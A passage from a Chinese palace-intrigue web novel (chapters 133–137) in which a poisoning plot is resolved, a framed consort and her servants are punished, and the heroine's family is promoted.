“臣妾根本不知道那毒是从哪里来的,也不知道自己宫人跟他有来往……更没有要害纯贵人,陛下,臣妾冤枉……”
她本就长得清艳,此时泪落如雨,那模样真是我见犹怜,是个男人看了都得骨酥筋软……
第133章 抵死诬陷
她本就生得风流婉转,一袭浅蓝衣裳衬得肌肤欺霜赛雪。
弯弯如新月的黛眉似蹙非蹙,纤腰盈盈一握,端的是楚楚可怜。
她痴痴地望着帝王,泪珠在眼眶里打着转,一层叠着一层,却将坠未坠。
“陛下……您相信臣妾……臣妾冤枉……”
美人落泪本就惹人怜惜,更何况白芷若声音婉转如莺啼,那双含泪的眸子痴缠地望着他。
楚念辞在一旁看着,都忍不住为她暗暗喝彩。
她不是没见过人哭,只是从没见过有人这样满眼痴缠地望着一个人哭。
那眼神里,三分委屈,三分期盼,还有几分说不清道不明的情意。
就连端木冥羽看了,亦有几分不忍。
谁知端木清羽连眼皮都没抬一下。
玉白修长的手渐渐反而紧握成拳,轻飘飘盯着跪在地上的白芷若。
他目光冷冽,声音更冷:“你在考验朕的耐心?”
“证据确凿摆在面前,还要装可怜混淆视听?”
“你是不是觉得,仗着太尉府,就可以在后宫胡作非为?”
白芷若愣住了。
对楚念辞,他就要证据确凿反复验证。
而对自己,他真是铁面无情。
君心如铁。
看上去对后宫嫔妃一视同仁,不论家世背景,只论是非对错。
可偏袒之意,何其明显,简直就是昭然若揭。
“李德安,”端木清羽扬声道,“去传费嬷嬷。”
白芷若浑身一颤。
不可置信的瞪大水盈盈的杏眼,为了口供,竟然要传费嬷嬷来对付自己。
那蓄在眼眶里的泪水终于纷纷落下。
所有哀求的话都堵在了喉咙口。
她想起自己刚入宫时,也曾得过一段时日的恩宠。
她以为,陛下总会念及旧情,想起那些一同度过的时光。
看见她如今这般模样哀求,就会心软,就会高高举起、轻轻放下。
本以为能承受雨露天恩,没想到落下的却是雷霆风霜。
此时此刻,她才深刻地理解入宫前母亲对她说的话。
无情最是帝王家。
“装模作样恶心谁啊,”淑妃本就厌恶白芷若,此刻她如此狐媚皇帝,早已气得恨不得上去劈手给她几个耳刮子,她娇艳的眼睛一横,“证据确凿,还在这儿巧言狡辩,依本宫看,应立即将莲嫔,褫夺封号,打入冷宫,永久禁足!”
端木清羽冷哼一声,眼中微露不耐之色,冷冰冰挥挥袖子:“现在处置为时过早,既然不肯说,去传费婆子。”
李德安躬身应道:“是,陛下。”
白芷若知道。
已经没有办法了。
她白玉般的手指抹过面颊,哀哀凄凄。
却借着抬袖拭泪的动作,飞快地向站在殿角的一个小太监使了个眼色。
随即嗡着声音,仍是一副柔弱模样:“陛下……您说过,不使一人含冤,臣妾恳请您大搜六宫……”
此言一出,在场的诸位嫔妃有点不高兴。
刚刚淑妃派人搜宫,也只是装装样子,搜的都是宫女太监庑房。
对于她们住的地方,还是留了体面。
可若是慎刑司去搜,便不可能有这么好说话了。
众妃却又不敢反对。
“你既不死心,”端木清羽淡淡开口,“那就先搜冷月宫。”
白芷若一呆。
她提出这建议一是想拖延时间。
二想让众妃出言反对。
没有想到自讨苦吃。
几位机灵妃嫔已在心里给白芷若记上一笔。
李德安领命而去。
一炷香后,去搜查的人空手而归。
就在这时,禁卫意外来报……玫常在的贴身宫女纤巧,在太液池边鬼鬼祟祟地埋东西。
慎刑司得知后,立刻把人扣下了。
一查埋的东西,竟是绕情丝。
起初,纤巧抵死不认。
可慎刑司的手段,岂是她一个小宫女扛得住的?
几番审问下来,她终于松了口。
承认自己勾结福贵,下毒谋害纯贵人。
淑妃脸色顿时难看起来。
玫常在与她过往甚密,这事儿若牵扯出来……
为了撇清干系,淑妃立刻命人把玫常在和纤巧一同带上来。
纤巧被押进来,依旧梗着脖子跪在地上,倔强得很:“都是奴婢做的,你们想诬赖我家小主,休想!”
“你是玫常在的贴身宫女,”魏大勋黑着脸。
这女人当他们是傻子吗?
想把罪责揽到自己身上。
于是他冷声道,“就算你把事情全揽在身上,你家小主也难辞其咎!”
纤巧清秀的小脸满是倔强,低下头去,不再说话。
白芷若跪在一旁,心头微微松了一口气。
她们千算万算,还是被楚念辞打了个措手不及。
如今只能断尾求生。
让纤巧这个暗桩,供出玫常在,把一盆脏水全部泼到她的头上。
这是她迫不得已启用的底牌。
玫常在也被押了进来。
“陛下……臣妾是冤枉的。”她一边哭,一边嚷嚷,进来就想去抱陛下的裤脚。
端木清羽乌眉一挑,旁边的敬喜一拂尘毫不留情地将玫常在隔开。
玫常在被他扫了一个趔趄,跪在地上哀哭起来。
端木清羽冷俊锋利地扫了她一眼,皱着眉想了半天,脸上露出诧异之色,转头问李德安:“她是朕的宫嫔?”
玫常在一瞬间呆住了。
连哭声都止住了。
她虽然从未侍寝,可前几日,也曾去御前端茶递水,铺纸研磨啊。
陛下就算不记得她的名字,至少也该对她这张脸有些记忆。
没想到……他对自己毫无印象。
李德安对此毫不意外。
这次进宫的十几个秀女,除了莲嫔和纯贵人,陛下连其他人的鼻子眼睛都没看清楚,怎么可能记得玫常在是谁?
他躬身答道:“回陛下,她是御史台监察御史钱弘斌的女儿钱玉容,入宫后封为玫常在。”
玫常在跪在地上,浑身发冷。
她想过无数种可能,唯独没想到。
陛下根本不记得自己。
她咬
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了咬嘴唇,红着眼眶,猛地转头,死死盯着跪在一旁的纤巧:“纤巧!”
“是谁指使你来污蔑我?慧贵人?还是莲嫔?”
“入宫后我一再告诫你,在后宫要谨言慎行,不可有害人之心,你若行差踏错,不仅会丢了性命,还会连累远在蓟州的家人!”
纤巧身子一颤。
她知道小主在暗示什么。
若是背叛,全家都得死。
可她的爹娘,其实一直在太尉府手里。
小主手中那两个又聋又哑的老人,不过是太尉府随便找来的百姓罢了。
纤巧咬了咬牙,膝行几步,重重磕头:“陛下,太后娘娘,是奴婢做的,不干我家小主的事儿。”
“是奴婢不忿莲嫔欺辱我家小主,怕她会抢走小主的恩宠,才买通福贵下毒,这件事宫里很多人都见过奴婢和他来往,可以去查!”
她抬起头,额头上已是一片血红:“一旦小主失宠,我们这些做奴婢的也要跟着过苦日子。是奴婢生了恶念,以为除掉纯贵人和莲嫔,就能保住小主的恩宠!这一切都是奴婢自作主张,是奴婢与福贵勾结,小主从头到尾都不知情,奴婢认罪!”
她拼命想把事情揽在自己身上,撇清与玫常在的关系。
可她越是这么说,听在众人耳中,越像是在替主子顶罪。
太后脸色铁青。
端木清羽双眼如平静的海面,但那深眸中酝酿着**。
淑妃抚着腕上的翡翠镯子,冷笑道:“你当我们都是傻子?你一个宫女,能做成这么多事?没有你家小主的暗中指使,你哪来人脉,又怎么能弄到那毒物,来人,把这贱婢拖出去狠狠地打!”
纤巧却不理淑妃,反而扑过去抱住莲嫔的腿。
“都是奴婢的错,”纤巧扑过去抱着莲嫔的腿哀求,“你别冤枉我家小主。”
说这话时,她死死盯着莲嫔。
自己**,希望她能放过父母。
白芷若狠狠撇开她的手。
暗中向她点了点头。
却故意捂着胸口,无比痛心道:“你……你说我欺辱你家小主?那日明明是你家小主在过道上辱骂我,我竟不知、不知你如此歹毒……”
“你们主仆做出这种事,还想栽赃给我?简直丧尽天良欺人太甚!”
她转向淑妃,泪眼婆娑:“淑妃娘娘分析得有道理,一个宫女,哪有那么大的本事下毒?你说此事不是玫常在指使的,是把满宫的人都当成傻子吗?”
玫常在双眼布满血丝,恸哭出声:“陛下,臣妾与此事无关,求陛下严审,求陛下还臣妾清白……”
只可惜她的话还没说完……
纤巧突然抬起头,惨然一笑:“此事确是奴婢一人所为。奴婢愿以死谢罪。”
话音未落,她猛地起身,一头撞在殿柱上……
“砰”的一声闷响。
鲜血溅开。
纤巧的身子软软滑落,倒在汉白玉的地砖上,抽搐了两下,便再也不动了。
殿内一片死寂。
玫常在瞪大了眼,嘴唇哆嗦着,一个字也说不出来。
第134章 白芷若改封谨嫔
纤巧一头撞在玉柱上,脑浆迸裂,口鼻溢血,连挣扎都没有,便不动了。
殿内众妃和殿外宫女,无论胆子大的,还是胆子小的。
一时间都吓得噤了声。
一片死寂中。
突然“哐当”一声,一位小宫女手中的茶盘掉在地上。
这声响此时炸开,直如惊雷一般。
李德安最先回过神,立刻护在端木清羽身侧挡住了血光,楚念辞也上前一步,遮住小皇帝的视线。
几个小太监迅速上前,把尸体挡住,免得吓着太后和宫嫔。
端木清羽只看见地上一摊血,便连忙转过头去。
“来人,把这该死的东西拖下去!”李德安会意,让人把尸体拖走。
纤巧这一死,等于把罪名坐实了。
端木清羽猝不及防看见这惨烈的一幕,脸色阴沉得能滴出水来,周身气压低得吓人。
宫女妃嫔都清楚,面圣自戕是重罪,拖下去挫骨扬灰都有可能。
玫常在如今又多了一条罪。
她跪在地上瑟瑟发抖,脸色惨白,双手抱着胸口,像是受了天大的委屈。
泪珠子一串串往下掉,可论起装柔弱,她哪里比得过白芷若?
这样抱着胸口,挤出两个球,反倒像是妖艳**在故意勾引皇帝。
淑妃看得牙痒痒。
她原觉得玫常在嘴甜,收在手下当棋子,没想到是个没用的东西。
而且还这般娇柔造作地像个下等舞姬。
淑妃气得美目微横,急着撇清关系:“你做出这种下作样子给谁看,陛下,依臣妾看,纤巧分明是畏罪**,想护住主子,此事跟玫常在脱不了干系,若不严惩,如何正宫闱?”
端木清羽闻言蹙了蹙眉。
一直没有开口的窦太后,长眉微皱道:“淑妃此言差矣,依哀家看,纤巧是知道横竖难逃一死,与其去慎刑司受酷刑,不如给自己个痛快,她也认了,所有事都是她瞒着主子做的,眼下没有证据证明玫常在知情,若无端严惩,岂不失了公允?”
玫常在也是她亲自挑进来的,模样儿好,身段丰满,一看就是好生养的。
她还不想放弃这枚好用的棋子。
楚念辞心里清楚,眼下这事,已经成了太后和淑妃的交锋。
许绩见事情已水落石出,便不想再搅进这趟浑水,反正皇帝肯定会给自己一个说法,于是借口看顾女儿,去了内殿。
名将果然有几分狐性。
其实太后说得有理。
从头到尾,玫常在确实没亲自出过面,真要查,也查不出实证。
“若不严惩,如何对得起许将军和在外征战的将士?”淑妃一句话把事情上升到了国家利益的高度。
她聪明得很,知道一旦牵扯将士,皇帝就不得不严肃处理。
猛然见事态发展到这个地步,玫常在只觉得心中一团乱麻,既恨纤巧诬陷,又恨自己识人不明。
可生死关头,她也顾不得别的了。
玫常在泪眼婆娑地望着端木清羽,想扑过去抱大腿又不敢,只痴痴地道:“陛下,臣妾只是想戏弄一下纯贵人……”
“她在外面造谣臣妾有狐臭,臣妾气不过,才想去买泻药让她出个丑……”
“妾买的真的是泻药,不是**啊!”
她哭得梨花带雨,珠泪纷纷,那模样,看得人心里发软。
只可惜这些眼泪,在端木清羽眼中不过是鳄鱼的眼泪。
白芷若在一旁娇娇怯怯地开口:“玫常在,你这是在考验陛下的智力吗,证据摆在面前,还要混淆视听切词狡辩?”
她见纤巧已死,便知道自己安全了。
死无对证,她想怎么说就怎么说。
端木清羽目光如冬末的风,凛冽在骨地扫了玫常在一眼:“就算如你所说,买的是泻药,正因为你的私心,才让纯贵人遭此劫难。”
他厌烦地摆了摆手。
“你的宫女竞敢当殿自戕,存心恶心朕是不是?”端木清羽语气冷冽如冰。
殿内鸦雀无声。
连太后也被他弄得没了脾气,只好道:“既然如此,还请陛下处置了。”
“玫常在蓄意不良,谋害宫嫔,褫夺封号,废为庶人,幽居冷宫,终身不得出。其父钱越教女无方,贬为边塞县令!”端木清羽道。
玫常在一愣,整个人像被抽去了骨头,软软瘫在地上。
她只是想买个泻药出口气而已啊……
怎么就落到这步田地了?
还连累了父亲和整个家族?
她这时才知道。
深宫**,不但能吞噬自己,还会吞噬家人。
那双水盈盈的眼睛霎时间变得空洞如死水,慎刑司太监上前拖她下去。
“所有涉案人员,除了大义灭亲的春妮,其余玫常在身边伺候的,一律处死,以正公闱。”端木清羽淡淡补充,仿佛不是在说**,而是在阅读奏章。
福贵跪在一边,听到这话,两眼一翻,昏死过去。
楚念辞心里清楚,小皇帝秉雷霆之势迅速处理这件事儿。
就是因为这事不能再往下查了。
许绩就坐在隔壁。
若真查出背后是白芷若,那就是将军府和太尉府的正面交锋,绝不是皇帝想看到的局面。
白芷若能从这坨烂泥里脱了身。
一是从头到尾她都没亲自出过面,就算东窗事发,最多也只能查到玫常在头上。
二是家世背景加成,无论如何,皇帝现在还不想和太尉闹翻脸。
这个女人,正是看中了这一点。
才敢走这一步棋,城府真是深得可怕。
上辈子她能爬倒贤贵妃,靠的不仅是家世,更是这份心计。
楚念辞从不指望一次就把她按死。
不过,这事已经牵扯上她了。
许绩那么聪明的人,心里肯定有数,会给太尉府,狠狠的记上一笔。
从此不会和他们打交道。
小皇帝的位置就更稳了。
而且经此一事,皇帝心里会埋下一颗怀疑的
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种子。
白芷若再也别想以贤良之名,在后宫邀买人心。
帝王最厌恶蛇蝎心肠的女子,心里一旦有了疙瘩,就再也不会宠她了。
果然,端木清羽并没有安慰跪在一旁的白芷若。
他看向她的眼神,审视中带着凉意。
“陛下,”楚念辞上前一步,“淑妃娘娘说得对,涉案的人都该受罚,才对得起边关将士,这绮云诬陷宝柱,该如何处置?”
就算不能抓住老虎,也得把老虎的爪子给剪了。
她不甘心白芷若就这么轻轻松松脱身。
跪在一边的绮云吓得肩膀一缩。
端木清羽沉默片刻,缓缓开口:“虽无证据证明此事与莲嫔有关,但福贵是你宫里的人,而绮云也是你贴身侍女,御下不严,致使纯贵人差点丧命,无可辩驳。”
"绮云诬陷他人,赐自尽。"端木清羽平静道。
"陛下……"白芷若凄凄哀哀地上前,拖住了皇帝的袖子。
"看在她打小伺候臣妾,饶他一条命不行吗?"她哀泣道。
"正因如此,她更不能留在你身边。"端木清羽声音毫无起伏。
“‘莲’字高洁,朕看你实在当不起,即日起改封号为‘谨’,幽居冷月宫,闭门思过!”
封号是帝王对一个人品性的认可。
一旦帝王对这个人的品性都不认可,她在帝王心里,还能剩下什么?
改封号,更加是亘古未闻。
妙就妙在,没有褫夺封号,没有降位,就算闹出去,太尉府也说不出一个字。
但谁都知道,这是活脱脱的羞辱。
帝王说这话的时候声音没有一丝感情。
看她的眼神也冷冰冰的。
众人都看出他对白芷若,已是不喜,于是看她的眼神全是幸灾乐祸和冷嘲热讽。
经了这番奇耻大辱,又看着众人讥讽的眼神。
白芷若胸口一阵气血翻涌,一口气没上来,软软倒在地上。
这回是真晕过去了。
淑妃嫌弃地用帕子掩了掩嘴角:“好好的亲蚕礼,叫这两个**搅得晦气!”
太监上前,将白芷若“扶”了出去。
从头到尾,帝王没看她一眼。
这时,许绩扶着刚醒过来的纯贵人,推开殿门走了进来。
年过半百的将军走到皇帝面前,拱手跪下,眼中已含了泪。
纯贵人绿眼睛里泪水滚滚而下,再次绷不住哭出声来。
她身子还虚,却强撑着要跪下。
帝王动了恻隐之心,上前扶起她,温声道:“纯儿无端受害,实在可怜。赐‘夫人’封号,赏千年人参二株,好好调养。”
“夫人”虽是个虚名,却代表了帝王的认可。
纯贵人含泪道:“臣妾……臣妾谢陛下关怀,只是臣妾不是来讨封的,这次若不是慧姐姐救我,臣妾早见不到爹爹了,求陛下封姐姐为嫔……”
楚念辞微微一怔。
她没想到,纯贵人出来,竟是为自己求封。
第135章 被惊喜填满了
此言一出,众妃嫔们面面相觑。
淑妃的脸肉眼可见地黑了,她感到了威胁。
莲嫔,不谨嫔也止住哀泣,神色复杂,若是让她攀上嫔,自己肯定有一个更强劲的对手。
太后眉眼间也流露出明显不悦。
她知道慧贵人站的是淑妃的队,皇帝这样宠她,如果让她封嫔,对方势头就压过了皇后,这是她绝对不愿看到的局面。
窦太后淡淡地摇头笑道:“按规矩,家世不显的宫嫔,只有诞下皇嗣才能晋嫔位。”
众妃一听太后都发了话,顿时感到有了主心骨。
交头接耳地窃窃私语,声音逐渐变大。
“又不是上战场,哪有**劳行赏的,如此封嫔从无先例?”
“是啊,一个商谷之女,这也太不妥了……”
“那咱们这些官宦士族家的女儿算什么?”
许绩扶着女儿,不慌不忙沉声道:“虽说宫廷不比战场,但只有赏罚分明,才能令行禁止,刚刚陛下已经处罚了罪人,是有罪已罚,若有功不赏,以后这宫闱如何服众,请陛下颁下赏赐,以正宫闱。”
端木清羽俊眉微蹙,状似无意地流露出左右为难之色,道:“封嫔之事,还得问过太后的意思。”
察觉到他为难之色。
一直笑着坐在一旁看戏的端木冥羽,笑得眉眼生春,凹着那道笑纹道:“不就是个嫔位吗,怎么搞得像女人生孩子那么难?”
端木清羽轻飘飘看了他一眼,道:“这么说王兄是赞成了。”
他突然用了王兄这个称呼。
突出他的宗长地位。
显而易见希望他能代表宗族说一点话。
窦太后不悦道:“冥二,别说话颠三倒四,疯疯癫癫的,过会儿叉你出去。”
“陛下恕臣失言,臣逾矩了,”端木冥羽好心情丝毫不受影响,“既然正主在这儿,还是听她怎么说吧,说不定人家还看不上呢。”
他没有继续下去,反而对楚念辞露出月牙形的笑纹。
见他把皮球踢给自己,楚念辞咬了咬后槽牙。
这让她怎么说?
高高兴兴的接受吗,那太后和众位嫔妃还不把自己给吃了。
第一次遇到嘴上功夫与自己有的一拼的男人。
恨不得上去在他的脸上,揪出一块皮肉再旋转一下。
“也对,”窦太后见他如此说,便皱了眉头问道,“慧贵人,你自己是怎么想的?”
楚念辞垂着的眼眸,上前一步,跪地叩首,不慌不忙开口:“多谢将军美意,臣妾早就说过,嫔位万万不敢当。”
这话一出,众妃包括太后看她的目光柔和了许多。
一时间议论声渐渐平复了下去。
“不争不抢,不贪高位,倒是个识大体的孩子。”窦太后看她目光如杨柳风般和蔼。
端木清羽矜贵秀雅的脸上露出满意的神色,他微微颔首:“慧儿是个懂事的,但有功不赏,确实难以服众,这如何是好?”
说着,他看了一眼淑妃道:“后宫确实没有因功劳就封嫔的先例,但她确实有功劳,不赏也说不过去,淑妃,你看如何赏赐呢?”
淑妃看了看跪在地上的楚念辞。
心里虽有些嫉妒,可想起母亲说过的话。
这女子不简单,聪明机灵,得好好拢着。
“有功必赏,有罪当罚,这有了功劳嘛,赏的法子多得是,”淑妃抚了抚头上凤钗,浅笑道,“赐官加爵,金银财帛,陛下看着办呗。”
“既如此,监察御史刚被罢官,职位空了出来,吏部的考绩也出来了,慧贵人父亲在职勤勉,余杭知府楚茂林递补这个缺,即日赴京上任,”
“乔德庄在内务府任参赞期间,克勤克勉,廉洁奉公,升任漕运通判。”
“还有就是慧儿的表哥乔晏惜中了殿试第三名,已经是庶吉士了,朕看就不用去翰林院熬资历,直接入文渊阁做朕的伴读郎官吧。”
楚念辞大喜过望。
她本就没指望嫔位。
后宫嫔妃大都不懂官职,她上辈子为帮蔺景瑞,做了很多功课,知道父亲升任的监察御史,虽然很打眼,其实就是个虚职,而大舅漕运通判才是个有实权的官职。
真正含金量最高的是表哥的庶吉士,文渊阁伴读这个身份。
这才是真正的宰相根苗。
淑妃的祖父就是前朝状元,从庶吉士一步一步爬上宰相的位置。
万丈高楼从地起,只有根基稳了,来日升嫔才顺理成章、让人心服。
这份家世升迁才是真正的及时雨。
“臣妾代父亲,舅父、表哥,叩谢圣恩。”她上前一步重重叩头,垂下眼眸,掩盖住眼底惊喜的神色。
淑妃愣了一愣,随即心里盘算了一下。
她祖父是宰相,父亲是尚书,什么样的高官她没见过,在她的心中,一个小小的御史,算不了什么,至于那个通判、庶吉士是几品官,她都不知道。
这些官职在她耳中,与菜市场上的萝卜白菜没什么区别。
宫妃议论声顿时小了下去。
她们大都不懂朝政。
总觉得升她父亲、舅父总比直接升她强。
太后心中却是微微一惊。
但刚才已经阻止分嫔,如今见众人没有反对,便没再开口反驳。
小小御史,通判,伴读,量也翻不出什么浪来。
端木清羽微笑道:“让你父亲交割完毕,直接上京赴任吧。”
楚念辞这次拒绝,更让她在众人心里落了个“不争不抢”的好名声。
帝王最厌恶得陇望蜀之人。
看他脸色越来越温和,上前扶起她。
楚念辞知道,这一步走对了。
见事情结束了,流苏终于上前要扶纯贵人,她却嘟着小嘴直往楚念辞身后缩,又捂着胸口咳了起来。
她那两只哭肿的眼睛又红了一圈,她哽咽道:“姐姐别怪我…
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…我又差点害了你,又没帮你讨到嫔位,我什么都做不好……”
楚念辞心中暗叹,你给我的帮助。
比一个嫔位的含金量要高多了。
这个妹妹可真是没白捡,她走过去从香囊里掏出一颗小小的橘子糖,塞进纯贵人手里,温声道:“来,这怎么能怪你呢,都是那坏人起的坏心思,别说了,等会儿还要喝药,先吃点橘子糖压一压。”
纯贵人看着手里的糖,愣愣地抬起头,嗫嚅道:“姐姐……你怎么知道,我怕苦不肯喝药……”
楚念辞伸手拍了拍她白嫩的手背,笑道:“姐姐什么都知道,快吃吧。”
纯贵人点点头,把糖放进嘴里。
没嚼两下,眼泪却啪嗒啪嗒掉了下来。
她抱住父亲的胳膊,抽抽噎噎:“爹……我要和慧姐姐住在一起……”
许绩目光柔和地看了女儿一眼,随即转向端木清羽,沉声道:“陛下,臣请让女儿搬进棠棣宫,也好有个照应。”
端木清羽犹豫了一瞬,推脱道:“棠棣宫还在修缮,这样吧,先让她住在暖晴阁,这些日子慧贵人常去养心殿,正好帮她康复,也方便照应。”
暖晴阁就在养心殿里。
以后谁要想再害她,也得掂量掂量。
许绩终于松了一口气。
女儿住在养心殿,确实安全多了。
这件事情安排得差不多了,端午清羽就想起身。
窦太后突然眸色沉了下来,她冷冷地看向淑妃问道:“皇帝将这么重要的典礼交给你操办,如今竟有人在哀家眼皮底下谋害纯贵人,差点闹出人命,淑妃你可知罪。”
淑妃知道躲不过了。
她脸色一白,连忙跪下,揉了揉眼睛,委委屈屈地望向端木清羽:“陛下,臣妾虽有协理六宫之权,自皇后病后,管理后宫不可谓不兢兢业业,可难免有小人作祟,臣妾防不胜防啊……”
她用帕子捂了捂眼角:“求陛下治臣妾的罪,收了臣妾协理六宫之权吧,臣妾无能,求太后恕罪……”
说得委屈又可怜,其实话里话外就一个意思。
这事是恶人存心捣乱,太后要怪就去怪那些害人的毒妇,怪她做什么?
“照你这么说,你便一点责任都没有了?”
淑妃身子一僵,嘟着小嘴,不知道怎么说了。
端木清羽知道淑妃有责任。
但不希望丞相府的势力这么快就被太后打压下去。
因为宫中太后权柄已经太重了。
于是蹙起眉头沉思。
窦太后连忙道:“哀家知道也不能全怪她,但淑妃一人协理六宫确实辛苦,难免有疏忽,为避免再出岔子,还是让皇后出来主持大局为好。”
楚念辞都想给太后鼓掌了。
几句话就把皇后捞出来,还让人挑不出错。
果然端木清羽点了点头:“这样也好,让皇后出来,淑妃从旁协助,总是更稳妥一些。”
第136章 两不相欠
端木清羽起身,袍角如流云拂过地面,回身瞧见楚念辞清减的面容,心下微软。
原来他从生气到气消,以及考虑如何面对她的时间。
是一个月。
如今气消了,也想通了。
他下意识便想随她回棠棣宫,好好安抚这个受了委屈的小女子。
见他朝自己走来,楚念辞却后退半步,福了一礼:“夜深了,臣妾不敢扰陛下休息,请陛下回养心殿安歇吧。”
帝王脚步微顿,斜眼看她,那眼尾精致微挑。
乌黑水亮的眼睛轻轻瞥过来,犹如停驻檐角的明月,清辉徐徐,湛亮的目光,仿佛能照得人心,无所遁形。
楚念辞只好朝左边迅速瞥了一眼。
端木清羽顺着他的目光,看见了眼睛几乎要**的淑妃。
帝王招幸嫔妃,何时要看其他人的脸色?
他以前从来不往这个方向去考虑。
如今,也不打算顾及别人。
但楚念辞躬着身子不动,推拒之意十分明显。
端木清羽心里不有五味杂陈。
既为他的举动生气,又感到了一丝无奈。
“臣妾请陛下回养心殿就寝。”
端木清羽只好温声道:“那你回去早生安歇吧。”
楚念辞依旧微微垂下眼睑,微弯的清秀脖颈。
端木清羽看着莫名心疼。
终于妥协了。
她分明暗示自己,自己对她的宠爱已惹来无数妒忌。
这几日政事繁忙,他多日不曾进后宫,若一来便召幸她,岂不是把她推进妒忌的深渊?
他虽有心护着,终究有许多地方顾不到。
这个后宫,说起来到底是女人的天下。
今日是玫庶人害她,明日还不知道谁又会起歹心。
想到这里,端木清羽不动声色地收回目光,转向淑妃,走过去牵起她的手,拍了拍她的手背:“朕也有好几日没去看你了,摆驾玉坤宫。”
淑妃心里一喜。
她虽收了楚念辞做手下,可到底小气爱吃醋。
眼见陛下这般护着慧贵人,甚至为她改了别的嫔妃封号,心里酸涩得紧。
可此刻见陛下多日不进后宫,一来便要去她那里。
还是当着众人的面。
那点不快顿时烟消云散。
陛下心里最爱的,终究是她。
淑妃眉开眼笑,如春花般娇艳:“臣妾备了山珍宴,正等陛下去尝尝呢。”
太后是人精。
早就瞧出皇帝,原来是准备去棠棣宫,没想到楚念辞会谦让。
如此不争不抢,贤惠大度,若不是淑妃的门下。
她还真想抢过来,窦太后满意地看了楚念辞一眼,点了点头,扶着竹青的手起身离去。
众妃齐齐行礼:“恭送太后、陛下!恭送淑妃娘娘!”
看着帝王与淑妃携手远去的身影,楚念辞心中掠过一丝茫然。
把陛下推到别的女人怀里表现大度,这是她现在这个位置必须做的。
可心里总有一丝说不清道不明的迷茫。
可随即,她暗自松了一口气。
陛下都知道顾全大局了,这不正是她所求的吗?
为了爬上那个最高的位置。
她没有时间自怨自艾,还有更多的眼睛在盯着她。
见一行人离开,楚念辞上前扶起纯贵人。
说起来,这妹妹真没白疼,若不是她让父亲开口,封赏的事就算皇帝有心,也得拖到风头过了才能悄悄给。
“妹妹大病未愈,快进去歇着。”
纯贵人擦了擦额上的冷汗,垂着小脸点点头,心里还有些过意不去,没能帮姐姐讨到嫔位。
楚念辞扶着她往里走。
皇帝走了,太后也走了,众妃陆续散去。
纯贵人被人用罗汉床抬出,一直走出老远,还回头盯着楚念辞与父亲依依不舍。
许绩走到楚念辞面前,撩袍单膝跪下,深深叩了一头。
楚念辞刚想说,不敢当。
许绩已起身,他转身,阔步走到镜湖边,背对着众人,扬起一掌拍在湖边一块大石上。
石头纹丝不动,他头也不回地向宫门外走去。
众人正疑惑间,那石头忽然“咔”的一声,四分五裂。
在场的人顿时明白了。
这是警告。
往后谁若敢动他女儿,这块石头就是下场。
众妃都吓得别过脸去,装作没看见。
转过长街,嘉妃与沈澜冰才慌急慌忙地从人群中挤出来。
她们刚才被启元殿的守卫拦在门外,连大殿都进不了。
两人已经听说了发生的事,上下楚念辞没有受到伤害,才长长松了一口气。
楚念辞与她们走过甬道之后就各自分别,她看着两人的背影低头沉思。
这么看来,应是白芷若提前吩咐好的,目的就是让她少了这两个帮手,好从从容容对付她。
太尉府的实力果然不容小觑,竟然有本事把两位高位嫔妃拦在殿外。
自己还是有个误区,把白芷若与白芊柔的实力混淆了。
这两人背后的势力天差地别。
一个是太尉府嫡女,另一个只是妾生的庶女。
她们得到的支持和帮助怎么可能一样?
她一边思索一边走,不知不觉落在人后。
眼看就要撞上一个人,她猛地抬头……
端木冥羽。
他宽肩窄腰,猿背蜂腰,身材极其高大。
此刻正俯身凑近她,那双琥珀色的眸子含情脉脉地望过来,像只被太阳晒暖了皮**的大猫,慵懒得不像话。
可能是在桃林钻过,身上透着桃花的清甜气味。
“慧贵人走这么急,是要去哪儿?”他唇角勾起,颊边漾出那抹月牙笑纹。
楚念辞后退半步,与他拉开距离:“王爷有事?”
“有事,”他俯身,凑到她耳边,
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吐字时像是在对着她的耳朵轻吹热气,低磁的嗓音越发勾人。
“你欠我的东西,过几日我来取。”
楚念辞:“……”
什么叫她欠他的东西?
那株天山雪莲是他自己乐意给的!
那些忙也是他自愿帮的!
她根本就没和他达成任何协议。
而且大庭广众之下就敢站在她身边言笑晏晏,这人是不是疯了?
“王爷说笑了,”她面无表情地将他的头推开,“臣妾可不欠您什么。”
“你想赖账。”
“臣妾可答应你过你什么?”楚念辞道。
“这……”端木冥羽这才想起,确实没有签订契约。
“本王相信,你会主动靠过来的。”端木冥羽道。
“您还是好好想想怎么陪您的王妃才是正经。”楚念辞冷笑。
端木冥羽听她突然提起王妃,愣了一下,随即乐不可支地笑起来。
二十五岁的男人,正是成熟的季节,他笑起来时,脸上带着岁月沉淀下来的痕迹,透着股往事不可追般的神秘。
楚念辞瞧着他笑得月牙深深,心中却明白自己提起王妃,多半戳到了他的痛处。
前世,他从北戎归来,先王端木九渊立刻给他指了一门婚事。
老忠义王的独女。
那王妃相貌俊俏,为人却极其厉害,未出阁时便有“女中丈夫”之名。
老忠义王爱女成狂,拿战功给她求了“明义郡主”的封号。
两人成婚后,听说端木冥羽在塞外受伤时曾有一名侍婢照顾,带回府中。
明义郡主几十鞭子把人抽得半死,赶出府去。
若不是端木冥羽回来得快,那侍婢连命都保不住。
娶了这样一位河东狮,无论当初是自愿还是被迫,都改变不了他被先王坑惨的事实。
“你不会真以为我怕那只母老虎吧?”
端木冥羽笑得眼泪都快出来了,好不容易止住笑,又凑近她,琥珀色的眸子里满是促狭。
“为了你,我连命都可以不要,王妃算什么?”
楚念辞:……
她深吸一口气,忍住一脚踹死他的冲动。
“王爷自重。”她冷冷道,“臣妾告退。”
说罢,绕过他就走。
端木冥羽站在原地,望着她的背影,唇角那抹月牙纹又深了几分。
“我等你。”身后。
随风传来他磁性而又温柔的笑声。
竖日,喜讯传到铜锣巷乔家,乔大舅差点乐疯了。
短短三个月不到的时间,他就一文不名的商人。
任了八品内务府参赞,又一路高升到了六品漕运通判。
而他的儿子还入宫当了陛下的伴读。
这样的晋升速度,在大夏朝是罕见的……
一时间,乔府门口,彩绸高挂,迎来送往,无数同僚恭贺,下属巴结。
可谓鲜花着锦,烈火烹油……
第137章 热脸贴冷屁股
“有慧贵人这样的好外甥女,才真叫光耀门楣!”
“如今谁不知道圣上对慧贵人是青眼有加?他日若生下皇子,封妃指日可待!”
“乔大人,恭喜恭喜!以后盐引粮引的事,还得靠您多关照啊!”
“如今乔探花入宫当伴读,前途无量。”
“还望乔大人看在同僚一场的份上,别忘了提携下官啊!”
众人你一言我一语,热络得很。
虽说通判在这高官云集的京城不算显眼,漕运衙门却是有实权,何况他的儿子入宫当了伴读。
这样的晋升速度,放眼本朝也罕见。
